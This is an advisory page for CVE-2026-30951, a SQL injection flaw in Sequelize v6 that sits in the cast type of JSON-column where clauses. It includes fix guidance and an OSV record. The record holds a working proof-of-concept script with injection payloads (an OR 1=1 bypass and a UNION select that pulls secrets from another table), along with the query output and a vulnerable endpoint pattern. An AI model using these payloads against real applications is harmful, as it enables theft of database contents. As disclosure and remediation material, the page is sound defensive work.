CVE-2026-30951: Sequelize SQL Injection Vulnerability
HIGHCVE-2026-30951 is a HIGH (CVSS 7.5) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Sequelize libraries in the npm ecosystem. The issue involves sequelize v6 vulnerable to sql injection via json column cast type. Remediation is available by upgrading affected packages to version 6.37.8.
CVE-2026-30951 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-30951
To remediate this vulnerability, upgrade all affected Sequelize dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install sequelize@6.37.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls sequelize
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-30951, inspect your project dependencies using npm:
npm ls sequelize
Analyze the terminal output to locate any version of Sequelize in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.37.8), your application is affected.
Note: The npm ls sequelize command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Sequelize, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-30951 Affected Sequelize Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
sequelize
|
npm |
≥ 6.0.0-beta.1
< 6.37.8
|
6.37.8
|
References
Frequently Asked Questions
What is CVE-2026-30951?
Which Sequelize versions are affected?
What version fixes CVE-2026-30951?
Is sequelize affected?
What is the CVSS score of CVE-2026-30951?
What CWE is associated with CVE-2026-30951?
How can I check npm dependencies for CVE-2026-30951?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6457-6jrx-69cr",
"modified" : "2026-03-11T00:18:48Z",
"published" : "2026-03-11T00:18:48Z",
"aliases" : [ "CVE-2026-30951" ],
"summary" : "Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type",
"details" : "### Summary\n\nSQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS <type>)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.\n\nAffected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected.\n\n### Details\n\nIn `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation:\n\n```javascript\n// line 1892\n_traverseJSON(items, baseKey, prop, item, path) {\n let cast;\n if (path[path.length - 1].includes(\"::\")) {\n const tmp = path[path.length - 1].split(\"::\");\n cast = tmp[1]; // attacker-controlled, no escaping\n path[path.length - 1] = tmp[0];\n }\n // ...\n items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));\n}\n```\n\n`_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly:\n\n```javascript\nreturn `CAST(${result} AS ${smth.type.toUpperCase()})`;\n```\n\nJSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not.\n\n**Suggested fix** — whitelist known SQL data types:\n\n```javascript\nconst ALLOWED_CAST_TYPES = new Set([\n 'integer', 'text', 'real', 'numeric', 'boolean', 'date',\n 'timestamp', 'timestamptz', 'json', 'jsonb', 'float',\n 'double precision', 'bigint', 'smallint', 'varchar', 'char',\n]);\n\nif (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {\n throw new Error(`Invalid cast type: ${cast}`);\n}\n```\n\n### PoC\n\n`npm install sequelize@6.37.7 sqlite3`\n\n```javascript\nconst { Sequelize, DataTypes } = require('sequelize');\n\nasync function main() {\n const sequelize = new Sequelize('sqlite::memory:', { logging: false });\n\n const User = sequelize.define('User', {\n username: DataTypes.STRING,\n metadata: DataTypes.JSON,\n });\n\n const Secret = sequelize.define('Secret', {\n key: DataTypes.STRING,\n value: DataTypes.STRING,\n });\n\n await sequelize.sync({ force: true });\n\n await User.bulkCreate([\n { username: 'alice', metadata: { role: 'admin', level: 10 } },\n { username: 'bob', metadata: { role: 'user', level: 5 } },\n { username: 'charlie', metadata: { role: 'user', level: 1 } },\n ]);\n\n await Secret.bulkCreate([\n { key: 'api_key', value: 'sk-secret-12345' },\n { key: 'db_password', value: 'super_secret_password' },\n ]);\n\n // TEST 1: WHERE clause bypass\n const r1 = await User.findAll({\n where: { metadata: { 'role::text) or 1=1--': 'anything' } },\n logging: (sql) => console.log('SQL:', sql),\n });\n console.log('OR 1=1:', r1.map(u => u.username));\n // Returns ALL rows: ['alice', 'bob', 'charlie']\n\n // TEST 2: UNION-based cross-table exfiltration\n const r2 = await User.findAll({\n where: {\n metadata: {\n 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'\n }\n },\n raw: true,\n logging: (sql) => console.log('SQL:', sql),\n });\n console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));\n // Returns: api_key=sk-secret-12345, db_password=super_secret_password\n}\n\nmain().catch(console.error);\n```\n\n**Output:**\n\n```\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n FROM `Users` AS `User`\n WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';\nOR 1=1: [ 'alice', 'bob', 'charlie' ]\n\nSQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`\n FROM `Users` AS `User`\n WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0\n UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';\nUNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]\n```\n\n### Impact\n\n**SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).\n\nA common vulnerable pattern:\n\n```javascript\napp.post('/api/users/search', async (req, res) => {\n const users = await User.findAll({\n where: { metadata: req.body.filter } // user controls JSON object keys\n });\n res.json(users);\n});\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "sequelize"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "6.0.0-beta.1"
}, {
"fixed" : "6.37.8"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 6.37.7"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/sequelize/sequelize/security/advisories/GHSA-6457-6jrx-69cr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30951"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/sequelize/sequelize"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-11T00:18:48Z",
"nvd_published_at" : "2026-03-10T21:16:48Z"
}
}